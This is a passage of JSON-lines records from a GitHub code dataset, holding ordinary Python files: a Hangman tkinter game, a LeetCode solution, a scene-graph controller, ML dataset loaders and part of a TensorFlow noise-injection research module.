**pkgstuff\n )\n\nsetup(\n name='Formative',\n version='0.0',\n description='Formative',\n long_description=README + '\\n\\n' + CHANGES,\n classifiers=[\n \"Programming Language :: Python\",\n \"Framework :: Pylons\",\n \"Topic :: Internet :: WWW/HTTP\",\n \"Topic :: Internet :: WWW/HTTP :: WSGI :: Application\",\n ],\n author='',\n author_email='',\n url='',\n keywords='web pyramid pylons',\n ext_modules = [formative_cv],\n packages=find_packages(),\n include_package_data=True,\n zip_safe=False,\n install_requires=requires,\n tests_require=requires,\n test_suite=\"formative\",\n entry_points = \"\"\"\\\n [paste.app_factory]\n main = formative:main\n \"\"\",\n paster_plugins=['pyramid'],\n )\n","repo_name":"circlingthesun/Formative","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2524,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"35314210283","text":"# Modules\nfrom tkinter import *\nfrom tkinter.font import Font\nfrom PIL import ImageTk, Image\nfrom Random_Word_Generator import letters # Self-Defined\n\n# Binding Fns\ndef game_start():\n # Gameplay Screen\n canv.delete(\"title\") # .delete() deletes the object with the specified tags\n canv.delete('button')\n letters_list,changing_list = play()\n ebox = Entry(root, font=(\"Comic Sans MS\",24),width=2, fg=\"black\",bg=\"#A6A6A6\",bd=0)\n canv.create_text(160,350,text=\"Enter Alphabet: \",font = font_comic20, anchor='nw',tags=\"instruction\")\n canv.create_text(350,275,text=lw(changing_list), font = font_halv40, anchor='center',tags='blanks')\n canv.create_text(425,150,text=\"Type and Hit ENTER\", font = font_halv30, anchor='center',tags=\"message\")\n canv.create_image(25,35, image = hang_list[0], anchor = \"nw\",tags=\"hang_pic\")\n\n def game_restart_prep():\n canv.delete(\"entrybox\")\n canv.delete(\"instruction\")\n \n def game_restart():\n canv.delete('blanks')\n canv.delete(\"message\")\n canv.delete(\"hang_pic\")\n game_start()\n\n restart = Button(root,\n text=\"Play Again\",\n font= font_comic20,\n padx=10,\n bg=\"#A6A6A6\",\n command=game_restart)\n button_win = canv.create_window(280,400,anchor=\"nw\", window=restart, tags='button')\n\n def enter_click(e):\n l = ebox.get().upper() # gets the value entered\n ebox.delete(0,END) # deletes the entered value from text box\n \n if len(l) != 1:\n if len(l) > 1:\n text = \"\"\"\n Only One Alphabet\n At A Time, duh!\"\"\"\n else:\n text = \"No Blanks Please :)\"\n elif not l.isalpha():\n text = \"Only Alphabets!\"\n else:\n if l in entered:\n text = \"Already Entered\"\n elif l in letters_list:\n text = \"Correct Guess!\"\n for i in range(len(letters_list)):\n if letters_list[i]==l:\n changing_list[i]=l\n canv.delete('blanks')\n canv.create_text(350,275,text=lw(changing_list), font = font_halv40, anchor='center',tags='blanks')\n entered.append(l)\n if changing_list==letters_list:\n text=\"Congrats!\"\n canv.delete('blanks')\n canv.create_text(350,275,text=lw(letters_list), font = font_halv40,fill=\"green\", anchor='center',tags='blanks')\n game_restart_prep()\n else:\n text = \"Oops!\"\n entered.append(l)\n wrong=0\n for i in entered:\n if i not in letters_list:\n wrong+=1\n canv.delete(\"hang_pic\")\n canv.create_image(25,35, image = hang_list[wrong], anchor = \"nw\",tags=\"hang_pic\")\n \n if wrong == 10:\n text='Better Luck Next Time :('\n canv.delete('blanks')\n canv.create_text(350,275,text=lw(letters_list), font = font_halv40,fill=\"red\", anchor='center',tags='blanks')\n game_restart_prep()\n\n canv.delete(\"message\")\n canv.create_text(425,150,text=text, font = font_halv30, anchor='center',tags=\"message\")\n\n\n entry_win = canv.create_window(370,350,anchor=\"nw\", window=ebox, tags=\"entrybox\")\n ebox.bind(\"\",enter_click)\n entered=[]\n\n\n# The Random Word\ndef play():\n letters_list = letters()\n changing_list=[]\n for i in range(len(letters_list)):\n changing_list.append(\"_\")\n return letters_list,changing_list\n\ndef lw(blanks_letters):\n s=''\n for i in blanks_letters:\n s = s+i+\" \"\n return s\n\n# Stage \nroot = Tk()\nroot.title(\"Hangman\")\nroot.geometry(\"700x500\")\nroot.resizable(False, False)\nroot.iconbitmap('Images/icon.ico')\n\n# Fonts\nfont_comic20 = Font(\n family=\"Comic Sans MS\",\n size=20)\nfont_halv30 = Font(\n family=\"Halvetica\",\n size=30)\nfont_halv40 = Font(\n family=\"Halvetica\",\n size=40)\n\n# Resources\nbg = ImageTk.PhotoImage(file = \"Images/chalkboard.jpg\")\ntitle = ImageTk.PhotoImage(file = \"Images/title.png\")\nhang0 = ImageTk.PhotoImage(Image.open(\"Images/hang0.png\").resize((200,200),Image.ANTIALIAS))\nhang1 = ImageTk.PhotoImage(Image.open(\"Images/hang1.png\").resize((200,200),Image.ANTIALIAS))\nhang2 = ImageTk.PhotoImage(Image.open(\"Images/hang2.png\").resize((200,200),Image.ANTIALIAS))\nhang3 = ImageTk.PhotoImage(Image.open(\"Images/hang3.png\").resize((200,200),Image.ANTIALIAS))\nhang4 = ImageTk.PhotoImage(Image.open(\"Images/hang4.png\").resize((200,200),Image.ANTIALIAS))\nhang5 = ImageTk.PhotoImage(Image.open(\"Images/hang5.png\").resize((200,200),Image.ANTIALIAS))\nhang6 = ImageTk.PhotoImage(Image.open(\"Images/hang6.png\").resize((200,200),Image.ANTIALIAS))\nhang7 = ImageTk.PhotoImage(Image.open(\"Images/hang7.png\").resize((200,200),Image.ANTIALIAS))\nhang8 = ImageTk.PhotoImage(Image.open(\"Images/hang8.png\").resize((200,200),Image.ANTIALIAS))\nhang9 = ImageTk.PhotoImage(Image.open(\"Images/hang9.png\").resize((200,200),Image.ANTIALIAS))\nhang10 = ImageTk.PhotoImage(Image.open(\"Images/hang10.png\").resize((200,200),Image.ANTIALIAS))\nhang_list=[hang0,hang1,hang2,hang3,hang4,hang5,hang6,hang7,hang8,hang9,hang10]\n\n# Display\ncanv = Canvas(root, width = 700,height = 500,bd=0,highlightthickness=0)\ncanv.place(x=0,y=0,relwidth=1,relheight=1)\n\n# Title Screen\ncanv.create_image(0, 0, image = bg, anchor = \"nw\")\ncanv.create_image(75, 100, image = title, anchor = \"nw\",tags=\"title\")\n\nstart = Button(root,\n text=\"Start\",\n font= font_comic20,\n padx=10,\n bg=\"#A6A6A6\",\n command=game_start)\nbutton_win = canv.create_window(280,400,anchor=\"nw\", window=start, tags='button')\n\n\nroot.mainloop()\n","repo_name":"harshit-jain52/HangMan","sub_path":"Hangman.py","file_name":"Hangman.py","file_ext":"py","file_size_in_byte":6140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35885203126","text":"import csv_object_list_dataset_loader as csvloader\nimport src.computation.coordination as computation_interface\nimport os\nimport os.path\nimport warnings\nimport time\n\n\ndef check_scene_graph_files(output_dir, num_timestamps):\n number_of_files = len([f for f in os.listdir(output_dir) if f.endswith(\n '.dot') and os.path.isfile(os.path.join(output_dir, f))])\n if number_of_files != num_timestamps:\n warnings.warn(f\"There should be exactly as many .dot files as timestamps {number_of_files}/{num_timestamps}\") # noqa\n\n\nclass Controller:\n \"\"\"Is supposed to act as a Controller as in MVC. Gets initiated and called by the cli module\n or a gui in the future.\"\"\"\n\n def main(self, csv_path, osm_path, origin, timestamp_list, clean_load, verbose, outputfolder):\n \"\"\"Runs the core modules loader and computation one after another.\n\n Args:\n csv_path (str): The path of the csv file containing the traffic data.\n osm_path (str): The path of the osm file containing the street data.\n origin (tuple(float)): The coordinates of the origin of the used dataset.\n timestamp_list (list(int)): The timestamps to be computed. If an empty list\n is provided, all timestamps of the dataset are computed.\n clean_load (bool): If the Loader module should reload the object structure from\n the csv file if there is an existing pickle.\n verbose (bool, optional): If verbose feedback is wanted. Defaults to False.\n\n Raises:\n e: a SystemExit which can be raised in the loader module\n \"\"\"\n loader = csvloader.Loader()\n try:\n loader.load_dataset(\n csv_path, clean_load=clean_load, verbose=verbose)\n except SystemExit as e:\n print(\"Dataset \" + str(csv_path) + \": \" + repr(e))\n raise e\n if not isinstance(loader.scenarios[f\"-{csv_path}-{0}\"], csvloader.Scenario):\n if len(loader.scenarios[f\"-{csv_path}-{0}\"]) > 1:\n print(f\"Multiple Scenarios are found.\")\n for key, sub_scenario in loader.scenarios[f\"-{csv_path}-{0}\"].items():\n timestamp_list = sub_scenario.timestamps\n output_dir = f\"{outputfolder}/{sub_scenario.id}\"\n coordinator = computation_interface.Coordinator(\n sub_scenario, osm_path, origin, timestamp_list, verbose,\n output_dir=output_dir)\n # computes the semantic scene graphs\n coordinator.coordinate()\n check_scene_graph_files(output_dir, len(timestamp_list))\n\n else:\n scenario = loader.return_scenario(csv_path)\n if not timestamp_list:\n timestamp_list = scenario.timestamps\n\n output_dir = f\"{outputfolder}\"\n coordinator = computation_interface.Coordinator(\n scenario, osm_path, origin, timestamp_list, verbose, output_dir=output_dir)\n # computes the semantic scene graphs\n coordinator.coordinate()\n check_scene_graph_files(output_dir, len(timestamp_list))\n","repo_name":"fzi-forschungszentrum-informatik/Semantic_Scene_Graph_Computation","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"22286327930","text":"\"\"\"\n 567. Permutation in String\n [ Medium ] | [ 44.4% ] -- Solved 18/02/2023 -- [ Sliding Window, Hash Table, Two pointers ]\n\n Problem Statement:\n - Given two strings s1 and s2, return true if s2 contains a permutation of s1, or false otherwise.\n - Basically, return true if there exists a substring in s2 that has the same frequency distribution as that of s1\n\n Approach:\n - Maintain a sliding window that contains a subset of the permutation at all times\n - Build the target frequency distribution, mark the chars that don't appear as None for easy identification\n - Maintain a count of the number of 'zeroes' encountered, the number of characters in the current window\n whose frequency exactly matches the target\n - Iterate through s2..\n - If the character does not appear in s1 (is marked None in the freq dist), then no valid window can contain that\n char, so start a new window beyond that char\n - Else, if the character's frequency has now exceeded the target, shrink the window from the head till this\n character's frequency is valid again, the window is guaranteed to be valid during shrinking since it will still\n be a valid subset of a permutation of s1\n - When changing the freq dist, update the zeros value accordingly\n - Once the # zeros = number of distinct characters in s1, return True, else return False\n\n - A less optimal solution compares the frequency distributions at each step O(26) to check whether the current\n window is a valid permutation of s1\n\n Time Complexity: O(N) - N: len(s2), M: # distinct characters\n Space Complexity: O(M)\n\"\"\"\n\nclass Solution:\n def checkInclusion(self, s1: str, s2: str) -> bool:\n od = [None for _ in range(26)]\n target = 0\n for c in s1:\n c_id = ord(c) - 97\n if od[c_id] is None:\n od[c_id] = 1\n target += 1\n else:\n od[c_id] += 1\n\n start = zeros = 0\n for end, c in enumerate(s2):\n c_id = ord(c) - 97\n # Shrink window if an invalid character is found (not present in string, or one too many)\n while (od[c_id] is None and start != end + 1) or (od[c_id] is not None and od[c_id] <= 0):\n h_id = ord(s2[start]) - 97\n if od[h_id] is not None:\n if od[h_id] == 0:\n zeros -= 1\n od[h_id] += 1\n start += 1\n # Once window is valid, update it with the current char\n if od[c_id] is not None:\n od[c_id] -= 1\n if od[c_id] == 0:\n zeros += 1\n\n if zeros == target:\n return True\n return False\n","repo_name":"farjadilyas/LeetCodeSolutions","sub_path":"567-permutation-in-string.py","file_name":"567-permutation-in-string.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"18341588106","text":"import numpy as np\nimport pandas as pd\nimport math\nimport os\nimport time\nfrom tqdm import tqdm\n\n# parameters for linear regressing\nP = 5\nK = 2\nwindow_size = 10000\nrun_length = 300000\nlast_timestamp = 0\nwin_cnt = 0\nrecord = {}\ndic = {}\npredict = {}\nx = np.array(range(P))\n\n# test\ncorrect = 0\ntotal = 0\n\n# file input and get simplex items\npath = \"/share/datasets/CAIDA2016/1.dat\"\nfile = \"result.txt\"\nf = open(path, 'rb')\ng = open(file)\nt = int(g.readline())\nfor _ in range(t):\n\ti, j = map(int, g.readline().split())\n\t# print(i, j)\n\tif i in dic:\n\t\tdic[i].append(j)\n\telse:\n\t\tdic[i] = [j] \n\n# read the data\nids = []\nfor _ in range(run_length):\n\ta = int.from_bytes(f.read(8), byteorder='little', signed=False)\n\tb = int.from_bytes(f.read(8), byteorder='little', signed=False)\n\tids.append(b)\n\n# while len(ids) < run_length:\n# \tl = f.readline().split()\n# \tfor i in l:\n# \t\tids.append(int(i))\nf.close()\ng.close()\nf.close()\ng.close()\n\nstart = time.time()\nfor index in tqdm(range(run_length)):\n\tif index >= last_timestamp + window_size:\n\t\t# window ends, start linear regressing\n\t\tif win_cnt >= P - 1:\n\t\t\tpredict_result = {}\n\t\t\tfor i in record:\n\t\t\t\ty = []\n\t\t\t\tfor j in range(P):\n\t\t\t\t\ty.append(record[i][(win_cnt + 1 + j) % P])\n\t\t\t\ty = np.array(y)\n\t\t\t\tbeta = np.polyfit(x, y, K)\n\t\t\t\tpoly = np.poly1d(beta)\n\t\t\t\tp = poly(P)\n\t\t\t\tpredict_result[i] = max(0, round(p))\n\t\t\tpredict[win_cnt + 1] = predict_result\n\t\t\t# start possible testing\n\t\t\tif win_cnt in dic:\n\t\t\t\tfor i in dic[win_cnt]:\n\t\t\t\t\tmachine_learning = predict[win_cnt][i]\n\t\t\t\t\tground_truth = record[i][win_cnt % P]\n\t\t\t\t\ttotal += 1\n\t\t\t\t\tif abs(machine_learning - ground_truth) <= 5 or (machine_learning * 2 >= ground_truth and machine_learning < 2 * ground_truth):\n\t\t\t\t\t\tcorrect += 1\n\t\t\t# clear the window\n\t\t\tfor i in list(record.keys()):\n\t\t\t\trecord[i][(win_cnt + 1) % P] = 0\n\t\t\t\tif record[i] == [0] * P:\n\t\t\t\t\trecord.pop(i)\n\t\twin_cnt += 1\n\t\tlast_timestamp += window_size\n\tif ids[index] not in record:\n\t\trecord[ids[index]] = [0] * P\n\trecord[ids[index]][win_cnt % P] += 1\nend = time.time()\n\nprint(\"correct: %d total: %d\\naccuracy: %.4f\" % (correct, total, 100.0 * correct / total))\nprint(\"time: %.2f\" % (end - start))\nprint(\"throughput: %.2f\" % (run_length / (end - start) / 1000000))","repo_name":"SimpleX-Sketch/X-Sketch","sub_path":"ML/naive-regression.py","file_name":"naive-regression.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"74881435600","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0005_post_titleone'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='post',\n name='slugone',\n field=models.SlugField(max_length=250, unique_for_date='publish', default=0),\n preserve_default=False,\n ),\n ]\n","repo_name":"gorbachevdmitry/myblogg","sub_path":"blog/migrations/0006_post_slugone.py","file_name":"0006_post_slugone.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36207247310","text":"########################################################################################################################\n# Load the different datasets.\n#\n# The features are scaled to have mean zero and unit variance.\n#\n# All functions return: X_train, X_test, Y_train, Y_test, feature_names\n########################################################################################################################\n\nimport numpy as np\n\nimport sklearn\nimport sklearn.datasets\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\n\nimport pandas as pd\n\nfrom folktables import ACSDataSource, ACSIncome, ACSTravelTime\n\nimport os\n\ndata_root_dir = \"../../data/\"\n\n\ndef german_credit(seed=0):\n \"\"\" The german credit dataset\n \"\"\"\n feature_names = [\n \"checking account status\",\n \"Duration\",\n \"Credit history\",\n \"Purpose\",\n \"Credit amount\",\n \"Savings account/bonds\",\n \"Present employment since\",\n \"Installment rate in percentage of disposable income\",\n \"Personal status and sex\",\n \"Other debtors / guarantors\",\n \"Present residence since\",\n \"Property\",\n \"Age in years\",\n \"Other installment plans\",\n \"Housing\",\n \"Number of existing credits at this bank\",\n \"Job\",\n \" Number of people being liable to provide maintenance for\",\n \"Telephone\",\n \"foreign worker\",\n ]\n columns = [*feature_names, \"target\"]\n\n data = pd.read_csv(os.path.join(data_root_dir, \"german.data\"), sep=\" \", header=None)\n data.columns = columns\n Y = data[\"target\"] - 1\n X = data\n X = X.drop(\"target\", axis=1)\n cat_columns = X.select_dtypes([\"object\"]).columns\n X[cat_columns] = X[cat_columns].apply(lambda x: x.astype(\"category\").cat.codes)\n\n # zero mean and unit variance for all features\n X = StandardScaler().fit_transform(X)\n\n # train-test split\n X_train, X_test, Y_train, Y_test = train_test_split(\n X, Y, train_size=0.8, random_state=seed\n )\n\n return X_train, X_test, Y_train, Y_test, feature_names\n\n\ndef iris(seed=0):\n \"\"\" The iris dataset, class 1 vs. the rest.\n \"\"\"\n # load the dataset\n iris = sklearn.datasets.load_iris()\n X = iris.data\n Y = iris.target\n\n # feature names\n feature_names = iris.feature_names\n\n # create a binary outcome\n Y = Y == 1\n\n # zero mean and unit variance for all features\n X = StandardScaler().fit_transform(X)\n\n # train-test split\n X_train, X_test, Y_train, Y_test = train_test_split(\n X, Y, train_size=0.8, random_state=seed\n )\n\n return X_train, X_test, Y_train, Y_test, feature_names\n\n\ndef california_housing(seed=0, classification=False):\n \"\"\" The california housing dataset.\n \"\"\"\n # load the dataset\n housing = sklearn.datasets.fetch_california_housing()\n X = housing.data\n Y = housing.target\n\n # feature names\n feature_names = housing.feature_names\n\n # create a binary outcome\n if classification:\n Y = Y > np.median(Y)\n\n # zero mean and unit variance for all features\n X = StandardScaler().fit_transform(X)\n\n # train-test split\n X_train, X_test, Y_train, Y_test = train_test_split(\n X, Y, train_size=0.8, random_state=seed\n )\n\n return X_train, X_test, Y_train, Y_test, feature_names\n\n\ndef folktables_acs_income(seed=0, survey_year=\"2016\", states=[\"CA\"]):\n # (down-)load the dataset\n data_source = ACSDataSource(\n survey_year=survey_year,\n horizon=\"1-Year\",\n survey=\"person\",\n root_dir=data_root_dir,\n )\n data = data_source.get_data(states=states, download=True)\n X, Y, _ = ACSIncome.df_to_numpy(data)\n\n # feature names\n feature_names = ACSIncome.features\n\n # zero mean and unit variance for all features\n X = StandardScaler().fit_transform(X)\n\n # train-test split\n X_train, X_test, Y_train, Y_test = train_test_split(\n X, Y, train_size=0.8, random_state=seed\n )\n\n return X_train, X_test, Y_train, Y_test, feature_names\n\n\ndef folktables_acs_travel_time(seed=0, survey_year=\"2016\", states=[\"CA\"]):\n # (down-)load the dataset\n data_source = ACSDataSource(\n survey_year=survey_year,\n horizon=\"1-Year\",\n survey=\"person\",\n root_dir=data_root_dir,\n )\n data = data_source.get_data(states=states, download=True)\n X, Y, _ = ACSTravelTime.df_to_numpy(data)\n\n # feature names\n feature_names = ACSTravelTime.features\n\n # zero mean and unit variance for all features\n X = StandardScaler().fit_transform(X)\n\n # train-test split\n X_train, X_test, Y_train, Y_test = train_test_split(\n X, Y, train_size=0.8, random_state=seed\n )\n\n return X_train, X_test, Y_train, Y_test, feature_names\n\n\n########################################################################################################################\n# Functions to ease access to all the different datasets\n########################################################################################################################\n\ndataset_dict = {\n \"iris\": iris,\n \"folk_income\": folktables_acs_income,\n \"folk_travel\": folktables_acs_travel_time,\n \"housing\": california_housing,\n \"credit\": german_credit,\n}\n\n\ndef get_datasets():\n \"\"\" Returns the names of the available datasets.\n \"\"\"\n return dataset_dict\n\n\ndef is_classification(dataset):\n if dataset == \"housing\":\n return False\n return True\n\n\ndef load_dataset(dataset):\n if dataset == \"folk_income\":\n X_train, X_test, Y_train, Y_test, feature_names = folktables_acs_income(0)\n elif dataset == \"folk_travel\":\n X_train, X_test, Y_train, Y_test, feature_names = folktables_acs_travel_time(0)\n # subset the dataset to 10 features to ease computation\n feature_subset = [13, 14, 9, 0, 12, 15, 1, 3, 7, 11]\n feature_names = [feature_names[i] for i in feature_subset]\n X_train = X_train[:, feature_subset]\n X_test = X_test[:, feature_subset]\n elif dataset == \"housing\":\n X_train, X_test, Y_train, Y_test, feature_names = california_housing(0)\n elif dataset == \"credit\":\n X_train, X_test, Y_train, Y_test, feature_names = german_credit(0)\n # subset the dataset to 10 features to ease computation\n feature_subset = [0, 1, 2, 3, 4, 5, 6, 7, 14, 11]\n feature_names = [feature_names[i] for i in feature_subset]\n X_train = X_train[:, feature_subset]\n X_test = X_test[:, feature_subset]\n elif dataset == \"iris\":\n X_train, X_test, Y_train, Y_test, feature_names = iris(0)\n return X_train, X_test, Y_train, Y_test, feature_names\n\n\ndef get_feature_names(dataset):\n \"\"\" Shortened for better plotting.\n \"\"\"\n if dataset == \"folk_income\":\n return folktables_acs_income()[4]\n elif dataset == \"folk_travel\":\n feature_names = folktables_acs_travel_time()[4]\n feature_names = [feature_names[i] for i in [13, 14, 9, 0, 12, 15, 1, 3, 7, 11]]\n feature_names[1] = \"POWP\"\n return feature_names\n elif dataset == \"housing\":\n return california_housing()[4]\n elif dataset == \"credit\":\n return [\n \"Account\",\n \"Duration\",\n \"History\",\n \"Purpose\",\n \"Amount\",\n \"Savings\",\n \"Employ\",\n \"Rate\",\n \"Housing\",\n \"Property\",\n ]\n elif dataset == \"iris\":\n return [\"Sepal Length\", \"Sepal Width\", \"Petal Length\", \"Petal Width\"]\n","repo_name":"tml-tuebingen/nshap","sub_path":"notebooks/replicate-paper/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":7554,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"3"} +{"seq_id":"1262221204","text":"# ---------------------------\n# Alexander Camuto, Matthew Willetts, Umut Şimşekli -- 2019\n# The University of Oxford, The Alan Turing Institute\n# contact: acamuto@turing.ac.uk, mwilletts@turing.ac.uk, umut.simsekli@stats.ox.ac.uk\n# ---------------------------\n\nimport tensorflow as tf\nimport tensorflow_probability as tfp\nimport numpy as np\n\nfrom .networks import heavy_tail_variance, calc_tikhonov_reg, calc_taylor_expansion, perturbative_solution, make_mlp, make_convnet, make_vgg13, replace_mask_layer, int_shape, cross_entropy, square_error\nfrom .trace_hessian import trace_hessian\n\nfrom tensorflow.python.ops import array_ops\n\nfrom tensorflow.python.ops.parallel_for.gradients import batch_jacobian\n\nfrom scipy.stats import kurtosis\nfrom scipy.stats import skew\n\ntfd = tfp.distributions\n\nfrom scipy.stats import kurtosis\nfrom scipy.stats import skew\n\n\ndef tensor_skew(l):\n return skew(l[0])\n\n\ndef tensor_kurtosis(l):\n return kurtosis(l[0])\n\n\ndef pack_images(images, rows, cols):\n \"\"\"Helper utility to make a field of images.\"\"\"\n shape = tf.shape(input=images)\n width = shape[-3]\n height = shape[-2]\n depth = shape[-1]\n images = tf.reshape(images, (-1, width, height, depth))\n batch = tf.shape(input=images)[0]\n rows = tf.minimum(rows, batch)\n cols = tf.minimum(batch // rows, cols)\n images = images[:rows * cols]\n images = tf.reshape(images, (rows, cols, width, height, depth))\n images = tf.transpose(a=images, perm=[0, 2, 1, 3, 4])\n images = tf.reshape(images, [1, rows * width, cols * height, depth])\n return images\n\n\ndef image_tile_summary(name, tensor, rows=8, cols=8):\n tf.compat.v1.summary.image(name,\n pack_images(tensor, rows, cols),\n max_outputs=1)\n\n\ndef GNIs(features, labels, mode, params, config):\n \"\"\"Builds the model function for use in an estimator.\n\n Arguments:\n features: The input features for the estimator.\n labels: The labels, unused here.\n mode: Signifies whether it is train or test or predict.\n params: Some hyperparameters as a dictionary.\n config: The RunConfig, unused here.\n\n Returns:\n EstimatorSpec: A tf.estimator.EstimatorSpec instance.\n \"\"\"\n del config\n N, H = params[\"N\"], params[\"H\"]\n n_samples = params[\"n_samples\"]\n\n params[\"non_targeted_layers\"] = []\n\n if params[\"input_inject\"]:\n params[\"non_targeted_layers\"] = list(range(1, N + 1))\n\n params[\"non_targeted_layers\"] += [N + 1]\n\n image_tile_summary(\"input\", features, rows=1, cols=16)\n\n # --- Ensure input data is flat\n features = tf.reshape(features, (-1, np.prod(params['image_shape'])))\n features = tf.cast(features, dtype=tf.float32)\n if labels is not None:\n labels = tf.cast(labels, dtype=tf.float32)\n else:\n labels = tf.ones_like(features[:, :10], dtype=None)\n B = int_shape(labels)[0]\n n_output = int_shape(labels)[-1]\n\n if params['activation'] != 'linear':\n activation = getattr(tf.nn, params['activation'])\n else:\n activation = None\n\n # --- Make discriminator\n if params[\"disc_type\"] == 'mlp':\n mlp = make_mlp(activation, np.prod(params['image_shape']), N, H,\n n_output)\n if params[\"disc_type\"] == 'convnet':\n mlp = make_convnet(activation, params['image_shape'], n_output)\n if params[\"disc_type\"] == 'vgg':\n mlp = make_vgg13(activation, params['image_shape'], n_output)\n\n # --- Retrieve intermediate activations, and layer output\n # --- we don't want to mask the final layer so activations doesn't include the output layer\n p_phi_y = mlp(features)\n\n sel_layer_shapes = [p_phi_y['layer_shapes'][i] for i in range(N + 1)]\n\n # --- Get Predictions using log(p(y|x))\n preds = p_phi_y['activations'][-1]\n\n # --- Classification loss, log(p(y|x))\n if params[\"loss\"] == 'cross_entropy':\n loss = cross_entropy(labels, preds)\n pred_class = tf.argmax(input=preds, axis=-1)\n true_class = tf.argmax(input=labels, axis=-1)\n acc = tf.cast(tf.equal(pred_class, true_class), tf.float32)\n tf.compat.v1.summary.scalar(\"accuracy\", tf.reduce_mean(acc))\n elif params[\"loss\"] == 'mse':\n loss = square_error(labels, preds)\n\n global_step = tf.compat.v1.train.get_or_create_global_step()\n\n p_phi_y_noisy = replace_mask_layer(\n features,\n p_phi_y,\n non_targeted_layers=params['non_targeted_layers'],\n var=params[\"var\"],\n n_samples=n_samples,\n mode=params[\"noise_mode\"])\n\n preds_noisy = p_phi_y_noisy['activations'][-1]\n\n # --- Classification loss, log(p(y|x))\n if params[\"loss\"] == 'cross_entropy':\n noisy_loss = cross_entropy(labels, preds_noisy)\n elif params[\"loss\"] == 'mse':\n noisy_loss = square_error(labels, preds_noisy)\n\n optimizer = tf.compat.v1.train.GradientDescentOptimizer(\n params[\"learning_rate\"])\n\n gradients, variables = [], []\n\n tf.compat.v1.summary.scalar(\"learning_rate\", params[\"learning_rate\"])\n tf.compat.v1.summary.scalar(\"batch_size\", B)\n\n # --- Enumerate over activation layers, zip automatically removes final\n # --- logit layer\n\n layers = [\n l for l in p_phi_y['net'].layers\n if ('dense' in l.name or 'conv' in l.name)\n ]\n\n noises = [\n tf.reshape(n, (B, n_samples, -1)) for n in p_phi_y_noisy['noise'][:-1]\n ]\n\n weights = [layers[i].trainable_weights[0] for i in range(N + 1)]\n acts = p_phi_y['activations'][:-1]\n\n Js = [\n tf.reshape(batch_jacobian(preds, a, use_pfor=True), (B, -1, n_output))\n for a in acts\n ]\n print(Js)\n\n G, C, H = calc_taylor_expansion(Js, loss, preds, noises, B, n_samples)\n\n EC = calc_tikhonov_reg(Js, acts, preds, params[\"noise_mode\"],\n params[\"var\"], params[\"loss\"])\n\n H_sig = heavy_tail_variance(Js, loss, preds)\n\n l_noise = 0\n if params[\"noise_type\"] is None:\n noisy_loss_estimate = loss\n elif params[\"noise_type\"] == 'input':\n noisy_loss_estimate = noisy_loss\n elif 'full' in params[\"noise_type\"]:\n # --- This is the Gaussian stuff\n assert n_samples == 1\n l_noise += H + G + C\n noisy_loss_estimate = loss + l_noise\n\n elif 'marginal' in params[\"noise_type\"]:\n # --- Don't ever noise final layer\n assert n_samples == 1\n l_noise = EC\n if 'H' in params[\"noise_type\"]:\n l_noise += H\n\n if 'C' in params[\"noise_type\"]:\n # alpha, beta, sigma, mu = tf.py_func(\n # estimate_all_params,\n # inp=[(C - EC)],\n # Tout=[tf.float32, tf.float32, tf.float32, tf.float32])\n #\n # tf.compat.v1.summary.scalar('C/alpha', alpha)\n # tf.compat.v1.summary.scalar('C/beta', beta)\n # tf.compat.v1.summary.scalar('C/sigma', sigma)\n # tf.compat.v1.summary.scalar('C/mu', mu)\n # tf.compat.v1.summary.scalar('C', tf.reduce_mean(C - EC))\n # tf.compat.v1.summary.histogram('C', C)\n l_noise += (C - EC)\n if 'G' in params[\"noise_type\"]:\n l_noise += G\n noisy_loss_estimate = loss + l_noise\n\n actual_noise = tf.reduce_mean(noisy_loss - loss)\n estimated_noise = tf.reduce_mean(noisy_loss_estimate - loss)\n\n tf.compat.v1.summary.scalar('loss/actual_noise', actual_noise)\n tf.compat.v1.summary.scalar('loss/estimated_noise', estimated_noise)\n\n tf.compat.v1.summary.scalar(\"loss/noisy_\" + params[\"loss\"],\n tf.reduce_mean(noisy_loss))\n tf.compat.v1.summary.scalar(\"loss/og_\" + params[\"loss\"],\n tf.reduce_mean(loss))\n\n noise_err = tf.reduce_mean(estimated_noise - actual_noise)\n\n tf.compat.v1.summary.scalar(\n 'loss/noise_est_pe',\n tf.abs(noise_err / tf.reduce_mean(actual_noise + 1e-8)))\n\n tf.compat.v1.summary.scalar('loss/noise_est_mse',\n tf.abs(tf.reduce_mean(noise_err**2)))\n\n loss_err = tf.reduce_mean(noisy_loss_estimate - noisy_loss)\n\n tf.compat.v1.summary.scalar(\n 'loss/loss_est_pe',\n tf.abs(loss_err / tf.reduce_mean(noisy_loss + 1e-8)))\n\n tf.compat.v1.summary.scalar('loss/loss_est_mse',\n tf.abs(tf.reduce_mean(loss_err**2)))\n\n if params[\"L2\"] > 0:\n vars = tf.trainable_variables()\n l2_reg = tf.add_n([tf.nn.l2_loss(v) for v in vars]) * params[\"L2\"]\n noisy_loss_estimate += l2_reg\n tf.compat.v1.summary.scalar(\"loss/L2_reg\", l2_reg)\n loss_err = tf.reduce_mean(noisy_loss_estimate - noisy_loss)\n\n # tf.compat.v1.summary.image('activations_covariance', activation_covariance)\n # g_noise =\n for i, w in enumerate(weights):\n layer_name = \"layer_\" + str(i)\n num_params = np.prod(int_shape(w))\n\n a = p_phi_y['activations'][i]\n noisy_a = p_phi_y_noisy['activations'][i]\n inj_noise = 